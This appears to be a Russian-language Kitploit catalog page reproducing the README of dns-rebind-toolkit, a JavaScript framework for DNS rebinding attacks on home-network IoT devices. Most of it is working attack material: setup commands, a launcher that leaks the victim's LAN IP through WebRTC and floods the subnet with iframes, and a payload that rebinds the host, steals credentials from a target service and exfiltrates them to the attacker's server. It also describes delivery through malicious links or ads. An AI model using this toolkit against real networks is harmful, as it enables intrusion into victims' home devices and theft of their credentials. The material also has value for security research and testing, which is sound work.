Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
dns-rebind-toolkit — Фронтенд-инструментарий на JavaScript для создания атак с повторной привязкой DNS. | Kitploit
Инструменты/GitHubGitHub/brannondorsey/dns-rebind-toolkit
РазведкаБезопасность IoTЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingАнализ DNS
GitHubbrannondorsey/dns-rebind-toolkit

dns-rebind-toolkit

Фронтенд-инструментарий на JavaScript для создания атак с повторной привязкой DNS.

502844 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт

DNS Rebind Toolkit

Демо | Уведомление о безопасности | Встроенные полезные нагрузки | FAQ

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Данное программное обеспечение предназначено только для образовательных целей. Оно не должно использоваться для незаконной деятельности. Автор не несет ответственности за его использование. Не будьте засранцем.

DNS Rebind Toolkit — это клиентский JavaScript-фреймворк для разработки эксплойтов DNS Rebinding против уязвимых хостов и сервисов в локальной сети (LAN). Он может использоваться для атак на такие устройства, как Google Home, Roku, колонки Sonos WiFi, WiFi-роутеры, «умные» термостаты и другие IoT-устройства. С помощью этого инструментария удаленный злоумышленник может обойти брандмауэр роутера и напрямую взаимодействовать с устройствами в домашней сети жертвы, извлекая конфиденциальную информацию, а в некоторых случаях даже управляя уязвимыми устройствами.

Атака требует, чтобы жертва в целевой сети просто перешла по ссылке или увидела HTML-рекламу, содержащую вредоносный iframe. Затем браузер жертвы используется как прокси для прямого доступа к другим хостам в ее домашней сети. Эти целевые машины и сервисы в противном случае были бы недоступны злоумышленнику из Интернета. Удаленный злоумышленник может не знать, что это за сервисы или какие IP-адреса они занимают в сети жертвы, но DNS Rebind Toolkit решает эту проблему путем перебора сотен вероятных IP-адресов.

Под капотом этот инструмент использует публичный DNS-сервер whonow, работающий на rebind.network:53, для выполнения атаки перепривязки DNS и обмана браузера жертвы, заставляя его нарушить политику одинакового происхождения. Затем он использует WebRTC для утечки частного IP-адреса жертвы, например 192.168.1.36. Используя первые три октета этого локального IP-адреса, он определяет подсеть сети и вставляет 256 iframe-ов, от 192.168.1.0 до 255, доставляя полезную нагрузку на каждый хост, который может находиться в этой подсети.

Этот инструментарий можно использовать для разработки и развертывания собственных атак перепривязки DNS. В комплект входит несколько реальных атакующих полезных нагрузок в каталоге payloads/. Эти полезные нагрузки включают атаки по извлечению информации (а также шалости с rickroll) против нескольких популярных IoT-устройств, включая продукты Google Home и Roku.

Этот инструментарий является результатом независимого исследования безопасности атак DNS Rebinding. Вы можете прочитать об этом исследовании здесь.

Начало работы

root@kitploit:~
# клонируем репозиторий
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit

# устанавливаем зависимости
npm install

# запускаем сервер с правами root для доступа к привилегированному порту 80
# этот скрипт обслуживает файлы из каталогов www/, /examples, /share и /payloads
sudo node server

По умолчанию server.js обслуживает полезные нагрузки для Google Home, Roku, колонок Sonos, лампочек Phillips Hue и устройств Radio Thermostat, работающих на портах 8008, 8060, 1400, 80 и 80 соответственно. Если у вас есть одно из этих устройств в домашней сети, перейдите по адресу http://rebind.network — вас ждет сюрприз ;). Откройте консоль разработчика и наблюдайте, как эти сервисы безвредно эксплуатируются, а данные из них крадутся и передаются на server.js.

API и использование

Этот инструментарий предоставляет два объекта JavaScript, которые можно использовать вместе для создания атак перепривязки DNS:

  • DNSRebindAttack: Этот объект используется для запуска атаки на уязвимый сервис, работающий на известном порту. Он порождает по одной полезной нагрузке для каждого IP-адреса, который вы выбираете для атаки. Объекты DNSRebindAttack используются для создания, управления и связи с несколькими объектами DNSRebindNode. Каждая полезная нагрузка, запущенная DNSRebindAttack, должна содержать объект DNSRebindNode.
  • DNSRebindNode: Этот статический объект класса должен быть включен в каждый файл HTML-полезной нагрузки. Он используется для атаки на один сервис, работающий на одном хосте. Он может связываться с породившим его объектом DNSRebindAttack и имеет вспомогательные функции для выполнения атаки перепривязки DNS (с помощью DNSRebindNode.rebind(...)) и для эксфильтрации данных, обнаруженных во время атаки, на server.js (DNSRebindNode.exfiltrate(...)).

Эти два скрипта используются вместе для выполнения атаки на неизвестные хосты в защищенной брандмауэром локальной сети. Базовая атака выглядит так:

  1. Злоумышленник отправляет жертве ссылку на вредоносную HTML-страницу, которая запускает атаку: например, http://example.com/launcher.html. launcher.html содержит экземпляр DNSRebindAttack.
  2. Жертва переходит по ссылке злоумышленника или посещает страницу, на которой http://example.com/launcher.html встроен как iframe. Это заставляет DNSRebindAttack на launcher.html начать атаку.
  3. DNSRebindAttack использует утечку WebRTC для обнаружения локального IP-адреса машины жертвы (например, 192.168.10.84). Злоумышленник использует эту информацию для выбора диапазона IP-адресов для атаки в локальной сети жертвы (например, 192.168.10.0-255).
  4. launcher.html запускает атаку перепривязки DNS (с помощью DNSRebindAttack.attack(...)) против диапазона IP-адресов в подсети жертвы, нацеливаясь на один сервис (например, доступный на порту ).

Обратите внимание: если у пользователя есть одно устройство Google Home в сети с неизвестным IP-адресом, и атака запускается на всю подсеть 192.168.1.0/24, то одна атака перепривязки DNSRebindNode будет успешной, а 254 — неудачными.

Примеры

Атака состоит из трех скоординированных скриптов и файлов:

  • HTML-файла, содержащего экземпляр DNSRebindAttack (например, launcher.html)
  • HTML-файла, содержащего атакующую полезную нагрузку (например, payload.html). Этот файл встраивается в launcher.html с помощью DNSRebindAttack для каждого атакуемого IP-адреса.
  • Сервера DNS Rebinding Toolkit (server.js) для доставки вышеуказанных файлов и, при необходимости, эксфильтрации данных.

launcher.html

Вот пример HTML-файла-запускателя. Полный документ можно найти в examples/launcher.html.

root@kitploit:~
<!DOCTYPE html>
<head>
	<title>Example launcher</title>
</head>
<body>
    <!-- Этот скрипт является зависимостью DNSRebindAttack.js и должен быть включен -->
    <script type="text/javascript" src="/share/js/EventEmitter.js"></script>
    <!-- Включаем объект DNS Rebind Attack -->
    <script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
    <script type="text/javascript">

    // DNSRebindAttack имеет статический метод, который использует WebRTC для утечки
    // IP-адреса браузера в локальной сети. Мы используем его для определения подсети.
    // Если локальный IP равен 192.168.1.89, мы запустим 255 iframe-ов,
    // нацеленных на все IP-адреса от 192.168.1.1 до 255
    DNSRebindAttack.getLocalIPAddress()
    .then(ip => launchRebindAttack(ip))
    .catch(err => {
        console.error(err)
        // Похоже, наш хитрый трюк с утечкой WebRTC не сработал (не работает
        // в некоторых браузерах). Ничего страшного, большинство домашних сетей — 192.168.1.1/24
        launchRebindAttack('192.168.1.1')
    })
    
    function launchRebindAttack(localIp) {
        
        // преобразуем 192.168.1.1 в массив от 192.168.1.0 до 192.168.1.255
        const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
        
        // Первый аргумент — доменное имя публично доступного
        // сервера whonow (https://github.com/brannondorsey/whonow).
        // У меня есть такой, работающий на порту 53 rebind.network, который вы можете использовать.
        // Атакуемые сервисы могут не работать на порту 80, так что вам, вероятно, захочется изменить и это.
        const rebind = new DNSRebindAttack('rebind.network', 80)

        // Запускаем атаку DNS Rebind, порождая 255 iframe-ов, атакующих сервис
        // на каждом хосте подсети (по крайней мере, мы на это надеемся).
        // Аргументы:
        //  1) целевые IP-адреса
        //  2) IP-адрес, на котором работает ваш Node-сервер server.js. Обычно 127.0.0.1
        //     во время разработки, но затем публичный IP (не имя хоста)
        //     VPS, на котором размещен этот репозиторий в продакшне.
        //  3) HTML-полезная нагрузка для доставки этому сервису. В этом HTML-файле
        //     должен быть реализован экземпляр DNSRebindNode.
        //  4) интервал в миллисекундах между внедрением каждого нового iframe.
        //     Одновременный запуск 100 iframe-ов может задушить (или обрушить)
        //     браузер. Чем выше это значение, тем дольше длится атака,
        //     но тем меньше ресурсов потребляется.
        rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
        
        // rebind.nodes также является EventEmitter, только этот срабатывает с помощью
        // DNSRebindNode.emit(...). Это позволяет DNSRebindNode внутри
        // iframe-ов отправлять сообщения обратно родительскому DNSRebindAttack,
        // который их запустил. Вы можете определить пользовательские события, просто вызвав
        // DNSRebindNode.emit('my-custom-event'), и слушатель в rebind.nodes
        // сможет его получить. Однако есть несколько стандартных имен событий, которые
        // срабатывают автоматически:
        //  - begin: срабатывает при загрузке DNSRebindNode.js. Это означает,
        //    что атака запущена (или, по крайней мере, ее полезная нагрузка доставлена)
        //    на IP-адрес.
        //  - rebind: перепривязка DNS прошла успешно, этот узел теперь должен
        //    связываться с целевым сервисом.
        //  - exfiltrate: отправляет JSON-данные обратно на ваш Node-сервер server.js и сохраняет
        //    их в папке data/.
        // Кроме того, статический метод DNSRebindNode.destroy()
        // вызовет событие 'destroy' и заставит DNSRebindAttack
        // удалить iframe.

        rebind.nodes.on('begin', (ip) => {
            // DNSRebindNode загружен, атакуем ip
        })

        rebind.nodes.on('rebind', (ip) => {
            // перепривязка прошла успешно
            console.log('node rebind', ip)
        })

        rebind.nodes.on('exfiltrate', (ip, data) => {
            // JSON-данные были эксфильтрованы и сохранены в папке data/
            // на удаленной машине, на которой запущен server.js
            
            console.log('node exfiltrate', ip, data)
            
            // data = {
            //     "username": "crashOverride",
            //     "password": "hacktheplanet!",
            // }
        })
    }
    </script>
</body>
</html>

payload.html

Вот пример HTML-файла полезной нагрузки. Полный документ можно найти в examples/payload.html.

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>Пример полезной нагрузки</title>
</head>
<body>
<!--
Загружаем DNSRebindNode. Этот статический класс используется для запуска атаки
перепривязки и связи с экземпляром DNSRebindAttack в example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">

    attack()
    .then(() => {},
          err => {
              // произошла ошибка на каком-то этапе атаки
              console.error(err)
              DNSRebindNode.emit('fatal', err.message)
          }
    ) // удаляем этот iframe вызовом destroy()
    .then(() => DNSRebindNode.destroy())

    // запускает атаку и возвращает промис, который разрешается, если целевой
    // сервис найден и успешно эксплуатирован, или, что более вероятно, отклоняется,
    // потому что этот хост не существует, целевой сервис не работает или
    // что-то пошло не так с эксплойтом. Помните, что эта атака запускается
    // против 255+ IP-адресов, так что большинство из них не увенчаются успехом.
    async function attack() {

        // DNSRebindNode имеет некоторые параметры fetch по умолчанию, которые определяют
        // такие вещи, как отсутствие кэширования и т.д. Вы можете использовать их для удобства или проигнорировать
        // и создать свой собственный объект параметров для каждого запроса fetch().
        // Вот их значения по умолчанию:
        // {
        //     method: "GET",
        //     headers: {
        //         // это работает не во всех браузерах. Например,
        //         // Firefox не позволяет это сделать.
        //         "Origin": "", // сбрасываем заголовок Origin
        //         "Pragma": "no-cache",
        //         "Cache-Control": "no-cache"
        //     },
        //     cache: "no-cache"
        // }
        const getOptions = DNSRebindNode.fetchOptions()

        try {
            // В этом примере мы будем атаковать какой-то сервис с
            // файлом /auth.json, содержащим имя пользователя/пароль в открытом виде.
            // Прежде чем украсть эти учетные данные, нам нужно сначала выполнить атаку
            // перепривязки. Скорее всего, наш веб-сервер закэширует DNS-результаты
            // для хоста этой страницы. DNSRebindNode.rebind(...) рекурсивно
            // повторяет попытки перепривязки хоста с новым целевым IP-адресом.
            // Это может занять больше минуты, и если попытка неудачна,
            // промис отклоняется.
            const opts = {
                // эти параметры передаются в запрос fetch для перепривязки DNS
                fetchOptions: getOptions,
                // по умолчанию DNSRebindNode.rebind() считается успешным,
                // если он получает HTTP-ответ 200 OK от целевого сервиса.
                // Однако вы можете сами определить любой сценарий "успеха перепривязки"
                // с помощью функции successPredicate(...). Эта
                // функция получает результат fetch в качестве параметра, и возвращаемое
                // значение определяет, была ли перепривязка успешной (т.е. вы
                // связываетесь с целевым сервером). Здесь мы проверяем,
                // был ли fetchResult отправлен нашим примером уязвимого сервера.
                successPredicate: (fetchResult) => {
                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
                }
            }
            // ожидаем перепривязку. Может занять до минуты и более в зависимости от
            // настроек DNS-кэша жертвы или если на другой стороне нет слушающего хоста.
            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
        } catch (err) {
            // упс, перепривязка не удалась. Либо DNS-кэш браузера
            // так и не был очищен, либо, что более вероятно, этот сервис не работает на
            // целевом хосте. Ну что ж... Возвращаем отклонение и позволяем
            // обработчику отклонений нашей функции attack() разобраться с этим.
            return Promise.reject(err)
        }

        try {
            // хорошо, теперь, когда мы перепривязали хост и связываемся
            // с целевым сервисом, давайте получим учетные данные
            const creds = await fetch(`http://${location.host}/auth.json`)
                                .then(res => res.json())

             // {
             //     "username": "crashOverride",
             //     "password": "hacktheplanet!",
             // }
            // console.log(creds)

            // отлично, теперь давайте эксфильтруем эти учетные данные на Node.js-сервер,
            // управляющий всем этим шоу. Это последнее, что нас волнует,
            // так что мы просто вернем этот промис как результат attack()
            // и позволим его обработчикам разобраться с ним.
            //
            // ПРИМЕЧАНИЕ: второй аргумент для exfiltrate(...) должен быть
            // сериализуем в JSON.
            return DNSRebindNode.exfiltrate('auth-example', creds)

        } catch (err) {
            return Promise.reject(err)
        }
    }
</script>
</body>
</html>

server.js

Этот скрипт используется для доставки файлов launcher.html и payload.html, а также для получения и сохранения эксфильтрованных данных от DNSRebindNode в папку data/. Во время разработки я обычно запускаю этот сервер на localhost и указываю DNSRebindAttack.attack(...) на 127.0.0.1. В продакшне я запускаю сервер на VPS-сервере и указываю DNSRebindAttack.attack(...) на его публичный IP-адрес.

root@kitploit:~
# запускаем с правами администратора, чтобы можно было открыть порт 80.
sudo node server
root@kitploit:~
usage: server [-h] [-v] [-p PORT]

Сервер DNS Rebind Toolkit

Необязательные аргументы:
  -h, --help            Показать это справочное сообщение и выйти.
  -v, --version         Показать номер версии программы и выйти.
  -p PORT, --port PORT  На каких портах запускать серверы. Может включать
                        несколько портов, например: --port 80 --port 1337 (по умолчанию: -p 80
                        -p 8008 -p 8060 -p 1337)

Дополнительные примеры

Я включил пример уязвимого сервера в examples/vulnerable-server.js. Этот уязвимый сервис ОБЯЗАТЕЛЬНО должен быть запущен на другой машине в вашей сети, так как его порт ДОЛЖЕН совпадать с портом server.js. Чтобы самостоятельно запустить эту примерную атаку, сделайте следующее:

Второй компьютер

root@kitploit:~
# клонируем репозиторий
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit

# запускаем уязвимый сервер
node examples/vulnerable-server
# ...
# уязвимый сервер слушает на порту 3000

Основной компьютер

root@kitploit:~
node server --port 3000

Теперь перейдите в своем браузере по адресу http://localhost:3000/launcher.html и откройте консоль разработчика. Подождите минуту или две — если атака сработала, вы должны увидеть сброшенные учетные данные с уязвимого сервера, запущенного на втором компьютере.

Посмотрите каталоги examples/ и payloads/ для получения дополнительных примеров.

Файлы и каталоги

  • server.js: Сервер DNS Rebind Toolkit
  • payloads/: Несколько HTML-файлов полезных нагрузок, созданных вручную для атаки на некоторые уязвимые IoT-устройства. Включает атаки на Google Home, Roku и Radio Thermostat на данный момент. Я буду рад, если в будущем в этот репозиторий будут добавлены новые полезные нагрузки (PR приветствуются!)
  • examples/: Файлы с примерами использования.
  • data/: Каталог, в котором сохраняются данные, эксфильтрованные с помощью DNSRebindNode.exfiltrate(...).
  • share/: Каталог JavaScript-файлов, используемых несколькими HTML-файлами в examples/ и payload/.

Этот инструментарий был разработан, чтобы быть полезным инструментом для исследователей и пентестеров. Если вы хотите увидеть некоторые исследования, которые привели к его созданию, ознакомьтесь с этой статьей. Если вы напишете полезную нагрузку для другого сервиса, рассмотрите возможность создания PR для этого репозитория, чтобы другие могли извлечь пользу из вашей работы!

Скачать инструмент
недокументированный REST API Google Home
8008
  • С интервалом, определенным пользователем (по умолчанию 200 миллисекунд), DNSRebindAttack встраивает один iframe, содержащий payload.html, на страницу launcher.html. Каждый iframe содержит один объект DNSRebindNode, который выполняет атаку на порт 8008 одного хоста из диапазона атакуемых IP-адресов. Этот процесс внедрения продолжается, пока не будет внедрен iframe для каждого IP-адреса, который является целью атаки.
  • Каждый внедренный файл payload.html использует DNSRebindNode для попытки атаки перепривязки, связываясь с DNS-сервером whonow. Если это удается, политика одинакового происхождения нарушается, и payload.html может напрямую связываться с устройством Google Home. Обычно payload.html написан таким образом, чтобы выполнить несколько вызовов API к целевому устройству и эксфильтровать результаты на server.js, запущенный на example.com, после чего атака завершается и он уничтожается.